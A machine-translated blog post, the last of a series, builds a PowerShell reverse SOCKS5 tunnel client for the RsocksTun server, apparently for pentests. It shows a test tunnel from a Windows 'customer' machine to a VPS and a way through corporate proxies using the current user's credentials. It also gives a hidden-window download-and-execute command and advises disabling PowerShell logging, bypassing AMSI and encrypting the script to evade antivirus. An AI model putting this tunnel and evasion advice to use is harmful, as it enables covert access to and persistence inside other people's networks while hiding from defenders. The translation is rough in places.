We write Reverse socks5 proxy on powershell. Part 3

    The story of research and development in 3 parts. Part 3 is practical.
    There are many beeches - there are even more benefits.

    Previous articles from the cycle can be found here and here =)

    Battle check


    Let's now test the operation of our script in practice. To do this, try to throw the reverse tunnel from the virtual machine (Windows 7 .net 4.7) to the Linux VPS on Digital Ocean and then, using it, we will go back to Win7. In this case, we simulate a situation where Windows 7 is the Customer’s machine, Linux VPS is our server.

    On VPS (in our case Ubuntu 18.04) we install and configure the server part of RsocksTun:

    • set the golang: apt install golang
    • take the sources of rsockstun from gita:
      git clone github.com/mis-team/rsockstun.git / opt / rstun
    • install the dependencies:
      go get github.com/hashicorp/yamux
      go get github.com/armon/go-socks5
      go get github.com/ThomsonReutersEikon/go-ntlm/ntlm
    • compile according to the manual: cd / opt / rstun; go build
    • generate SSL certificate:
      openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
    • we start the server part:



    • We start our script on the client, indicating to it the server to connect, the port and password:



    • use the raised port of the Socks5 server to go to mail.ru



    As you can see from the screenshots, our script works. We were glad, mentally erected a monument to ourselves and decided that everything was perfect. But…

    Error handling


    But not everything is as smooth as we would like ...

    During the operation of the script, one unpleasant moment was found out: if the script works through a not very fast connection to the server, then the error shown in the figure below may occur when transferring large data.



    Having studied this error, we see that when we receive a keepalive message (while data is still being transmitted to the server), we try to simultaneously write to the socket a response to keepalive, which causes an error.

    To correct the situation, we need to wait until the data transfer is completed, and then send a response to keepalive. But here another problem may arise: if a keepalive message arrives at the moment between sending a 12-byte header and sending data, then we will destroy the structure of the ymx packet. Therefore, a more correct solution would be to transfer all the functionality for sending data inside yamuxScript, which processes events for sending sequentially and there will be no such situations.

    At the same time, to instruct yamuxScript to send keepalive responses, we can use our shared ArrayList StopFlag [0] - the zero index is not used, because the numbering of yamux streams starts with 1. In this index, we will pass in yamuxScript the ping value received in the keepalive message. By default, the value will be -1, which means no transmission is needed. YamuxScript will check this value, and if it is 0 (the first keepalive ping = 0) or more, then send the passed value to the keepalive response:

    if ($StopFlag[0] -ge 0){
    #got yamux keepalive. we have to reply
    $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0]
    $state.tcpstream.Write($outbuf,0,12)
    $state.tcpstream.flush()
    $StopFlag[0] = -1
    }

    We should also exclude sending in the main thread of the program a response to the YMX SYN flag.

    To do this, we must also transfer this functionality inside yamuxScript, but since the yamux server does not require sending a response to YMX SYN and immediately starts to send data, we simply disable sending this package and that’s it:

    #$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00)
    #$tcpstream.Write($outbuf,0,12)

    After that, the transfer of large pieces of data works fine.

    Proxy support


    Now let's think about how we can get our client to work through a proxy server.

    Let's start with the basics. In theory, http-proxy (namely, http proxies work in most corporate networks) is designed to work with the HTTP protocol, and it seems like http doesn’t smell like ours. But in nature, in addition to http, there is also https and your browser can perfectly connect to https sites through regular http - right?

    The reason for this is the special proxy server operation mode - CONNECT mode. Thus, if the browser wants to connect to the gmail server via https through a proxy server, it sends a CONNECT request to the proxy server, which indicates the host and destination port.

    CONNECT gmail.com:443 HTTP/1.1
    Host: gmail.com:443
    Proxy-Connection: Keep-Alive

    After a successful connection to the gmail server, the proxy returns a 200 OK response.

    HTTP/1.1 200 OK

    After that, all data from the browser is directly transmitted to the server and vice versa. In simple terms, a proxy directly connects two network sockets to each other - a browser socket and a gmail server socket. After that, the browser starts to establish an ssl connection with the gmail server and work with it directly.

    Transferring the above to our client, we first need to establish a connection with the proxy server, send an http packet indicating the CONNECT method and the address of our yamux server, wait for a response with code 200, and then proceed to establish an ssl connection.

    In principle, there is nothing particularly complicated. This is how the connection mechanism through the proxy server is implemented in the golang client rsockstun.

    The main difficulties begin when the proxy server requires ntlm or kerberos authorization when connecting to itself.

    In this case, the proxy server returns the 407 code and the ntlm http header as a base64 string

    HTTP/1.1 407 Proxy Authentication Required
    Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA=
    Date: Tue, 28 May 2019 14:06:15 GMT
    Content-Length: 0

    For successful authorization, we must decode this line, remove parameters from it (such as ntlm-challenge, domain name). Then, using this data, as well as the username and its ntlm hash, we need to generate an ntlm response, encode it back to base64 and send it back to the proxy server.

    CONNECT mail.com:443  HTTP/1.1
    Host: mail.com:443
    Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA==
    User-Agent: curl/7.64.1
    Accept: */*
    Proxy-Connection: Keep-Alive

    But this is not so bad. The fact is that when we run the script, we do not know either the name of the current user or his ntlm password hash. Thus, for authorization on the proxy server, we need to find out username / pass from somewhere else.

    Theoretically, we can implement this functionality in a script (starting from setting authentication parameters manually, as done in the GoLang client, and ending with using a LSASS process memory dump, as done in mimikatz), but then our script will grow to incredible size and complexity, especially that these topics are beyond the scope of this article.

    We thought and decided that we would go the other way ...

    Instead of doing authorization manually, we will use the built-in functionality for working with a proxy server of the HTTPWebRequest class. But in this case, we will have to change the code of our RsocksTun server - after all, when it receives a request from the client, it expects only a string with a password, and it will receive a full HTTP request. In principle, modifying the server side of rsoskstun is not so difficult. It is only necessary to decide in which part of the http-request we will transmit the password (for example, it will be the XAuth http-header) and implement the functionality of processing the http-request, checking our header with a password and sending a return http-response (200 OK). We added this functionality to a separate branch of the RSocksTun project.

    After modifying the Golang part of the RSocksTun (server and client), we will begin to add the functionality of working with a proxy server to our script. The simplest code for the HttpWebRequest class for connecting to a web server through a proxy looks like this:

    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
    $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443")
    $request.Method = "GET"
    $request.Headers.Add("Xauth","password")
    $proxy = new-object system.net.webproxy('http://127.0.0.1:8080');
    $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
    $request.Proxy = $proxy
    try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit}

    In this case, we create an instance of the HttpWebRequest class, set the Proxy and Credentials properties, add the custom XAuth http-header. Accordingly, our request to Google servers will go through the proxy server 127.0.0.1:8080. If the proxy asks for authorization, then Windows itself will "pick up" the credits of the current user and insert the corresponding http-headers.

    Instead of specifying a proxy server manually, we can use the system settings of the proxy server:

    $proxy = [System.Net.WebRequest]::GetSystemWebProxy()

    So, after we connected through a proxy server to our rsockstun server and received an HTTP response with code 200, we need to do a little trick, namely, from the HTTPWebRequest class, get a stream object for reading / writing like $ tcpConnection.getStream (). We do this through the .Net reflection Inspection mechanism (for those who want to understand this mechanism in more detail, share the link ). This allows us to access the methods and properties of the underlying classes:

    #---------------------------------------------------------------------------------
    # Reflection inspection to retrieve and reuse the underlying networkStream instance
    $responseStream = $serverResponse.GetResponseStream()
    $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
    $rsType = $responseStream.GetType()
    $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags)
    $connection = $connectionProperty.GetValue($responseStream, $null)
    $connectionType = $connection.GetType()
    $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags)
    $tcpStream = $networkStreamProperty.GetValue($connection, $null)

    Thus, we got the same socket-stream, which is connected by the proxy server to our yamux server and with which we can perform read / write operations.

    Another point that we need to consider is the mechanism for monitoring the state of the connection. Since we work through the proxy server and the HTTPWebRequest class, we do not have the $ tcpConnection.Connected property and we need to monitor the connection status in some way. We can do this through a separate $ connected flag, it is set to $ true after receiving the 200 code from the proxy server and is reset to $ false when an exception occurs while reading from socket-stream:

    try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;}
    if ($num -eq 0 ) {$connected=$false; break;}

    Otherwise, our code remains unchanged.

    Inline Launch


    As a rule, all sane people run similar scripts from PS1 files, but sometimes (and actually almost always) in the process of pentest / redtime it is necessary to run modules from the command line without writing anything to disk, so as not to leave any traces . Moreover, powershell allows you to do this through the command line:

    powershell.exe –c 
    powershell.exe –e 

    However, one should not really relax in relation to the secrecy of launching and executing commands. Because, firstly, all powershell code is logged using standard windows tools in the corresponding eventlogs (Windows PowerShell and Microsoft-Windows-PowerShell / Operational), and secondly, all code executed inside powershell goes through the AMSI mechanism ( Anti Malware Scan Interface). Another thing is that both of these mechanisms are perfectly costly with uncomplicated actions. Disabling magazines and bypassing AMSI is a separate topic for discussion and we will write about it in future articles or in our channel. But now a little about something else.

    The fact is that our script has grown to a rather impressive size and it is clear that it will not fit into any command line (cmd limit in Windows is 8191 characters). Therefore, we need to come up with a way to run our script without writing it to disk. And here the standard methods used by malware have been helping us for almost 15 years now. In short, the rule is simple - download and run. The main thing is not to confuse =)
    The command to download and run looks like this:

    powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))"

    You can find even more inline-launch options on the HarmJ0y git 'I:

    Of course, before downloading, you must take care to disable logs and bypass or disable AMSI. The script itself must be encrypted before downloading, because during the download process it will naturally be checked up and down by your (or not your =)) antivirus, and before starting it will be decrypted accordingly. How to do this - you, the reader should already come up with it yourself. This is beyond the scope of this topic. But we know a cool specialist in this matter - the almighty Google. There are plenty of examples of encryption and decryption on the network, as well as examples of bypassing AMSI.

    Conclusion to all parts


    In the process, we introduced the reader to the technology of “reverse tunnels” and their use for pentests, showed several examples of such tunnels and talked about the pros and cons of their use.

    We also managed to create a powershell client to the RsocksTun server with the ability:

    • SSL connections
    • authorization on the server;
    • work with yamux-server with support for keepalive pings;
    • multi-threaded mode of operation;
    • support work through a proxy server with authorization.

    You can find all rsockstun code (golang and powershell) in the corresponding branch on our github. The master branch is designed to work without a proxy server, and the via_proxy branch is designed to work through proxies and HTTP.

    We will be glad to hear your comments and suggestions on improving the code and the applicability of development in practice.

    This completes the cycle of our reverse tunneling articles. We really hope that you are interested in reading us and the information is useful.

    Also popular now: